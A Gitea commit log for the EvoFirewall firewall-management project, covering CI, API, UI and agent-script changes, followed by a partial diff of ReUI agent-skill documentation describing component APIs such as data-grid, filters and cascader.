25 Commits
Author SHA1 Message Date
Denozordec a0f0bff65a fix(ci): typecheck через turbo с зависимостью ^build
quality / commitlint (push) Skipped
quality / changes (push) Successful in 7s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 26s
quality / web (push) Successful in 46s
quality / api (push) Successful in 46s
CD / quality (push) Successful in 2m10s
CD / publish (push) Successful in 11m37s
tsc в apps/api резолвит @evofw/db и @evofw/shared через dist/*.d.ts —
прямой запуск до сборки падает с Cannot find module. Задача typecheck
добавлена в turbo.json с dependsOn ^build; CI запускает её через turbo
2026-09-20 20:45:34 +07:00
Denozordec 75661f7443 fix(ci): полный fetch в changes-job для мульти-коммитных пушей
quality / commitlint (push) Skipped
quality / changes (push) Successful in 7s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 52s
quality / web (push) Successful in 55s
quality / api (push) Failing after 32s
CD / quality (push) Failing after 2m32s
CD / publish (push) Skipped
push с несколькими коммитами: before_sha лежит глубже fetch-depth:2 и
git diff падает bad object. Теперь checkout с полной историей; плюс
защитный fallback на HEAD~1, если before_sha не резолвится
2026-09-20 20:31:13 +07:00
Denozordec 15b5cce8cc chore(ci): request-id, RBAC stats, web-тесты и гигиена CI
quality / commitlint (push) Skipped
quality / changes (push) Failing after 8s
quality / openapi (push) Skipped
quality / web (push) Skipped
quality / api (push) Skipped
CD / quality (push) Failing after 9s
quality / docker-check (push) Skipped
CD / publish (push) Skipped
- genReqId (uuid) + x-request-id в каждом ответе и request_id в error
  envelope — корреляция ошибок между клиентом и логами
- RBAC: /agents/:id/(stats|blocked-ips|blocked-ports) классифицируются
  как fw:stats:read (reset остаётся под fw:agents:write)
- web: test-скрипт + 10 unit-тестов (filter-utils, fleet-kpis, parseClaims, nav)
- typecheck-скрипты для api/shared/db; CI: тесты shared и web, typecheck
  всех пакетов
- гигиена: .node-version (22), актуальный .dockerignore, drizzle out →
  ./migrations, удалены 12 лишних .gitkeep и пустой apps/api/test
2026-09-20 20:08:14 +07:00
Denozordec 3dc8e6d5e2 refactor(web): общие форматтеры, единая навигация, RBAC-гейтинг и чистка мёртвого кода
- lib/format.ts: ru-RU форматтеры дат/чисел в одном месте — убраны дубли
  из 8 компонентов (agent-card, fleet-grid, blocked-ips/ports, facts,
  lifecycle, host-firewall, lists-columns, system-monitor)
- lib/nav.ts: единый конфиг маршрутов — sidebar, ⌘K-поиск и breadcrumbs
  рендерятся из одного источника (было 3 расходящихся копии)
- lib/permissions.ts + useCan: клиентский RBAC — кнопки создания/подтверждения
  скрываются без fw:*:write/admin (сервер остаётся авторитетным)
- удалён мёртвый код ~2500 строк: stepper, data-grid dnd/virtual/visibility
  варианты, settings-shell
2026-09-20 19:36:37 +07:00
Denozordec 7a3f1fad25 perf(api): ретенция статистики, устранение N+1 и пагинация списков
- retention: ежедневный cron (03:17) + запуск на старте удаляет сырые
  agent_stats_samples старше STATS_RETENTION_DAYS (по умолчанию 30);
  lifetime-итоги на агенте и агрегаты сохраняются
- N+1 на поллинг-пути агента: evaluateAgentPolicy теперь делает по одному
  батч-запросу на записи списков / резолвы hostname / имена списков вместо
  запроса на каждое правило; mapPolicyRules и port-rules GET — аналогично
- пагинация: GET /agents, /lists, /rules, /install-links принимают
  limit/offset и возвращают total; без параметров — прежнее поведение
- openapi.yaml: approve-bulk, PUT /policy-sets/{id}/agents, параметры
  пагинации (redocly lint OK); тесты (47 passed)
2026-09-20 19:20:30 +07:00
Denozordec 454c5009d1 fix(web): error/404 экраны, сплит бандла и bulk-мутации
- RouteErrorComponent/RouteNotFoundComponent на root-маршруте (RU-копирайт,
  retry + переход на главную; redirect в портал не мигает ошибкой)
- settings: форма инициализируется один раз — фоновый refetch больше не
  затирает ввод пользователя
- code splitting: autoCodeSplitting роутов + manualChunks (react/router/query/
  charts/dnd); вход ~507KB вместо единого чанка 1.57MB, recharts (330KB) грузится
  лениво; версия recharts в packages/ui выровнена с apps/web (3.8.0)
- bulk-эндпоинты: POST /agents/approve-bulk и PUT /policy-sets/:id/agents —
  назначение набора агентам одним запросом вместо N×(GET+PUT)
- оптимистичные обновления с rollback: approve, approve-bulk, удаление агента,
  переключение набора
- тесты bulk-операций (45 passed)
2026-09-20 19:12:58 +07:00
Denozordec 40030ce06c fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов
- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов
  (opt-out через EVOFW_ALLOW_UNSAFE)
- CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA
- транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule,
  replaceIpListEntries
- install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных
  символов в RouterOS-рендере
- constant-time сравнение enroll-seed
- опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM)
  и маскирование per-list api_token в ответах
- graceful shutdown (SIGTERM/SIGINT) + тесты
2026-09-20 18:51:47 +07:00
DenozordecandCursor 45812fef6a chore(reui): обновить ReUI agent skill до актуальной версии
quality / commitlint (push) Skipped
quality / changes (push) Successful in 5s
quality / openapi (push) Skipped
quality / web (push) Skipped
quality / api (push) Skipped
quality / docker-check (push) Skipped
CD / quality (push) Successful in 7s
CD / publish (push) Successful in 35s
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-19 20:03:55 +07:00
Denozordec a55dc676b9 chore: update CI workflow and package exports
quality / commitlint (push) Skipped
quality / changes (push) Successful in 9s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 34s
quality / web (push) Successful in 1m1s
quality / api (push) Successful in 49s
CD / quality (push) Successful in 2m40s
CD / publish (push) Successful in 3m40s
- Modified the CI workflow in `quality.yaml` to use `pnpm exec turbo` for running tests and builds, improving efficiency for the @evofw/api package.
- Added a new export for development in `package.json` of the db package, allowing direct access to the source TypeScript file.

These changes enhance the CI process and improve the development experience for the db package.
2026-08-19 00:09:25 +07:00
Denozordec 4fedf83078 chore: update .gitignore, remove Dockerfile, and enhance documentation
quality / commitlint (push) Skipped
quality / changes (push) Successful in 18s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 1m31s
quality / web (push) Successful in 1m7s
quality / api (push) Failing after 40s
CD / quality (push) Failing after 3m43s
CD / publish (push) Skipped
- Added .release-version, CHANGELOG.md, and deploy/docker/docker-bake.override.hcl to .gitignore.
- Removed Dockerfile as part of the cleanup.
- Updated AGENTS.md and README.md to include new documentation on CI/Docker processes and deployment instructions.
- Enhanced package.json with new devDependencies for commit linting and semantic release.
- Updated pnpm-lock.yaml to reflect new dependencies and versions.

These changes streamline the project structure and improve documentation clarity.
2026-08-19 00:02:33 +07:00
DenozordecandCursor 9121cbe842 ci: переключить origin и registry на git.shx.one
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 50s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
Обновить Gitea Actions, compose и URL репозитория.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-17 16:43:40 +07:00
DenozordecandCursor ecaa22ed97 fix(ui): выровнять IconTile chrome и доступность
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 2m18s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
Перевести KPI и агентские тайлы на IconTile, skip-link и live regions.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-17 15:36:56 +07:00
Denozordec 6dc5fb5f3b fix(api, web, docs): refine port ACL logic and documentation updates
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 2m1s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Updated the `evofw-firewall.sh` script to clarify the handling of incoming traffic for port ACLs, ensuring accurate rule application for Docker NAT and local addresses.
- Enhanced the UI description for port ACLs to specify that only incoming traffic is affected, improving user understanding of the firewall behavior.
- Revised documentation to reflect the updated logic for port ACLs, emphasizing the distinction between incoming and outgoing traffic and the implications for service accessibility.

These changes improve the clarity and functionality of port ACL management, enhancing user experience and system reliability.
2026-08-16 18:17:27 +07:00
Denozordec 1afa07053a feat(api, web): enhance port ACL logic and documentation
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 2m19s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Refined the `collect_nft_stats` function in `evofw-firewall.sh` to iterate over multiple chains, improving packet counting accuracy for dropped and accepted packets.
- Updated the port ACL handling to include new chains in the firewall rules, ensuring comprehensive coverage for input, forward, and prerouting.
- Enhanced the UI to clarify the behavior of port ACLs, emphasizing the distinction between EvoFW and system rules, and the implications of open ports.
- Improved documentation to reflect the updated port ACL logic and its interaction with Docker NAT, ensuring users understand the new behavior.

These changes enhance the functionality and clarity of port ACL management, improving user experience and system reliability.
2026-08-16 17:00:16 +07:00
Denozordec a2ad637a38 feat(api, web): enhance port ACL handling and documentation
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 2m20s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Updated the `evofw-firewall.sh` script to refine the port ACL logic, ensuring the correct order of operations for deny and allow rules.
- Introduced a new structure for port ACL rows in the UI, allowing for better management of system and EvoFW rules.
- Enhanced the documentation to clarify the new port ACL behavior, including implicit drops for open ports and the distinction between EvoFW and system rules.
- Improved the handling of port ranges and source addresses in the UI, ensuring accurate representation of firewall rules.

These changes improve the functionality and clarity of port ACL management, enhancing user experience and system reliability.
2026-08-16 16:28:11 +07:00
Denozordec d552f4f326 feat(api): implement self-update mechanism for Linux agents
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 1m45s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Added a `maybe_self_update` function in `evofw-firewall.sh` to allow agents to pull the latest version of the sync script from the server, enhancing the agent's ability to stay updated.
- Updated the `/v1/agent/sync-script` endpoint to return ETag and script SHA256 headers, enabling efficient caching and conditional requests.
- Modified the agent policy response to include `script_sha256`, providing visibility into the current version of the sync script.
- Enhanced tests to verify the self-update functionality and ensure correct behavior of the sync script endpoint.

These changes improve the maintainability and reliability of Linux agents by enabling automatic updates of critical scripts.
2026-08-15 16:56:00 +07:00
Denozordec ef2a333430 feat(api): enhance host firewall handling and validation
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 1m56s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Introduced a new `sanitizeHostFirewall` function to filter and validate host firewall rules and listeners, ensuring only valid entries are processed.
- Updated the `apply-report` endpoint to prevent overwriting existing host firewall snapshots with empty payloads, improving data integrity.
- Enhanced the `applyReportHostFirewallSchema` to define the expected structure for host firewall data, allowing for better validation and error handling.
- Added tests to verify the behavior of the new sanitization logic and the preservation of existing snapshots, ensuring robustness in the API's handling of firewall data.

These changes improve the reliability and accuracy of host firewall data management within the API, enhancing overall monitoring capabilities.
2026-08-15 13:27:49 +07:00
Denozordec bfaed511bd refactor(api): enhance host firewall collection and JSON output
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 1m40s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Improved the `collect_host_firewall` function in `evofw-firewall.sh` to utilize temporary files for better handling of large rule sets, avoiding ARG_MAX limitations.
- Updated the JSON output structure to omit null/empty optional fields, ensuring compatibility with historical data formats.
- Enhanced error handling and logging for the firewall collection process, providing clearer diagnostics in case of failures.
- Adjusted related tests to accommodate changes in the expected output format, ensuring robust validation of the host firewall snapshot functionality.

These changes enhance the reliability and clarity of the host firewall data collection process, improving overall monitoring capabilities.
2026-08-11 15:33:10 +07:00
Denozordec 43f5ac2525 feat(api, web): implement port ACL and host firewall snapshot features
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 1m43s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Added support for managing desired L4 port ACL rules for Linux agents, allowing for open/close actions on specified ports.
- Introduced a new endpoint for CRUD operations on port rules, enhancing the API's capabilities for agent management.
- Implemented functionality to collect and report host firewall snapshots, capturing observed rules and listeners for better monitoring.
- Updated the agent detail view to include tabs for managing port ACLs and viewing host firewall data, improving user experience.
- Enhanced documentation to reflect the new features and API changes, ensuring clarity for users and developers.

These changes significantly improve the management and visibility of firewall rules and port access control for agents.
2026-08-11 15:08:00 +07:00
DenozordecandCursor c5069fbdaf feat(api, web): add Linux nft destination port hits for blocked IPs
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 1m59s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
Track tcp/udp dports via deny_port_hits, expose aggregate and per-IP ports in UI; install-link re-run refreshes nft rules.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-11 00:33:03 +07:00
Denozordec 402182195f feat(api, test, web): enhance IP hit tracking and reset logic for agents
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 2m26s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Implemented a reset mechanism for per-IP baselines in the agent routes, ensuring accurate tracking after policy application.
- Updated tests to simulate traffic flush scenarios, verifying that IP hit statistics reset correctly and accumulate as expected.
- Modified the UI to reflect changes in terminology from "Sync windows" to "Hits" for better clarity in agent details.
- Enhanced documentation to explain the new behavior of IP hit tracking and baseline resets, improving user understanding.

These changes improve the accuracy and usability of IP hit tracking for agents, particularly in scenarios involving policy changes.
2026-08-07 15:44:27 +07:00
Denozordec 3815575799 feat(api): update mikrotik-install script for improved filter rule management and versioning
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 2m11s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Updated the `client_version` in the `mikrotik-install.rsc` script from `rsc/5` to `rsc/6` to reflect the latest changes.
- Enhanced the firewall filter rule management by ensuring that new rules are added at the top of the `input` and `forward` chains using `place-before`, improving the order of execution and efficiency.
- Updated documentation in `agents.md` to clarify the new behavior of filter rules being placed at the beginning of the chains.

These changes enhance the functionality and clarity of the MikroTik installation process, improving overall firewall management.
2026-08-07 15:22:43 +07:00
Denozordec ee3429b747 feat(api, web): enhance MikroTik integration and IP hit tracking
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 1m54s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Updated the `evofw-firewall.sh` script to improve the handling of NFT sets, ensuring compatibility with kernel limitations on counters and enhancing logging for better diagnostics.
- Introduced a new presence mode for MikroTik, allowing for real-time tracking of IP hits with updated last seen timestamps and packet counts.
- Enhanced the API to support the new presence mode, updating the database interactions to reflect the changes in how IP hits are recorded.
- Updated the agent detail view to display sync windows for MikroTik, providing clearer insights into blocked IPs and their activity.
- Improved documentation to reflect the new features and changes in the MikroTik handling process, ensuring clarity for users and developers.

These changes significantly enhance the monitoring capabilities and user experience for agents, particularly those using MikroTik devices.
2026-08-07 14:46:06 +07:00
Denozordec 4ee78032c4 feat(api, web): implement per-IP blocked stats for agents
Build and Push EvoFirewall Docker Image / build-and-push (push) Successful in 1m51s
Build and Push EvoFirewall Docker Image / create-release (push) Skipped
- Added functionality to report per-IP drop counters in the `evofw-firewall.sh` script, capturing the top 200 IPs with packet counts.
- Introduced new API endpoints to retrieve blocked IP statistics and reset these stats for agents, enhancing monitoring capabilities.
- Updated the agent detail view to display blocked IPs, improving user visibility into agent performance.
- Enhanced database schema and repositories to support the storage and management of IP block statistics.

These changes provide a comprehensive view of blocked IPs, improving the overall management and monitoring of agents.
2026-08-07 14:15:10 +07:00
Denozordec 9fd7ddb26c feat(reui): update documentation and component details for ReUI registry
- Expanded the ReUI documentation to reflect the addition of 20 free building blocks, including new components like `icon-tile`.
- Updated descriptions and usage guidelines across various rules and components to ensure clarity and accuracy.
- Enhanced the API references and examples to align with the latest changes in the ReUI framework, including updates to the `data-grid` component.
- Improved the registry setup instructions and free vs premium component distinctions for better user guidance.

These changes enhance the overall usability and understanding of the ReUI framework, providing users with comprehensive resources for effective implementation.
2026-08-07 13:36:22 +07:00
173 changed files with 13805 additions and 2812 deletions

No files matched your search

+4 -4
View File
@@ -1,17 +1,17 @@
--- ---
name: reui name: reui
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs. description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
user-invocable: false user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *) allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
--- ---
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this. > **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents # ReUI for Agents
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign: ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free) - **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition - **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install - **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install - **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
@@ -58,7 +58,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license - [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important) - [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix - [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs - [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar - [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate) - [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
+2 -2
View File
@@ -2,7 +2,7 @@
## Registry setup (one-time, per project) ## Registry setup (one-time, per project)
Free items (the 17 components and all `c-*` examples) need only the plain string registry in `components.json`: Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
```json ```json
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } } { "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
@@ -54,7 +54,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
## Free vs premium boundary ## Free vs premium boundary
- Public, no key: `c-*` examples and the 17 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on. - Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate. - Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade). If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
+67 -17
View File
@@ -1,24 +1,23 @@
# ReUI components # ReUI components
The 19 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these. The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt. **Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
## data-grid (the flagship - read its API every time) ## data-grid (the flagship - read its API every time)
`data-grid` wraps TanStack Table v8. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract: `data-grid` wraps TanStack Table v9. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract:
- Build a TanStack table instance with `useReactTable(...)` (columns, data, the feature models you need: sorting, pagination, row selection). - Build a TanStack table instance with `useTable({ features: dataGridFeatures, ... })` (columns, data). `dataGridFeatures` is exported by the primitive and already bundles sorting, filtering, pagination, row selection, expanding, pinning, resizing and faceting, so there are no per-table row models to wire.
- Pass that instance to `<DataGrid table={table} recordCount={total}>`. - Pass that instance to `<DataGrid table={table} recordCount={total}>`.
- Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes. - Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes.
- Server-side data uses the documented fetch shape (`recordCount` is the total for pagination). - Server-side data uses the documented fetch shape (`recordCount` is the total for pagination).
```tsx ```tsx
const table = useReactTable({ const table = useTable({
features: dataGridFeatures,
data, data,
columns, columns,
getCoreRowModel: getCoreRowModel(),
// add sorting/pagination/selection models per the API
}) })
<DataGrid table={table} recordCount={data.length}> <DataGrid table={table} recordCount={data.length}>
@@ -28,9 +27,9 @@ const table = useReactTable({
Common mistakes: Common mistakes:
- **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useReactTable` instance and pass `table={table}` + `recordCount`. - **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useTable({ features: dataGridFeatures, ... })` instance and pass `table={table}` + `recordCount`.
- **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection. - **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection.
- **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the documented `ColumnMeta` (e.g. `cellClassName`, `headerTitle`). - **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the primitive's `DataGridColumnMeta` (e.g. `cellClassName`, `headerTitle`), set through the bundle's `columnMeta` slot.
## event-calendar ## event-calendar
@@ -107,22 +106,60 @@ Common mistakes:
## filters ## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange` **Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:** **Shape:**
```tsx ```tsx
const [filters, setFilters] = useState<Filter[]>([ const fields: FilterField[] = [
createFilter("priority", "is_any_of", ["low"]), { id: "title", label: "Title", type: "text" },
]) {
const fields: FilterFieldConfig[] = [ id: "status",
{ key: "priority", label: "Priority", type: "multiselect", label: "Status",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] }, type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
] ]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
<Filters filters={filters} fields={fields} onChange={setFilters} /> <Filters fields={fields} query={query} onQueryChange={setQuery} />
``` ```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`. **Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector ## date-selector
@@ -312,6 +349,19 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
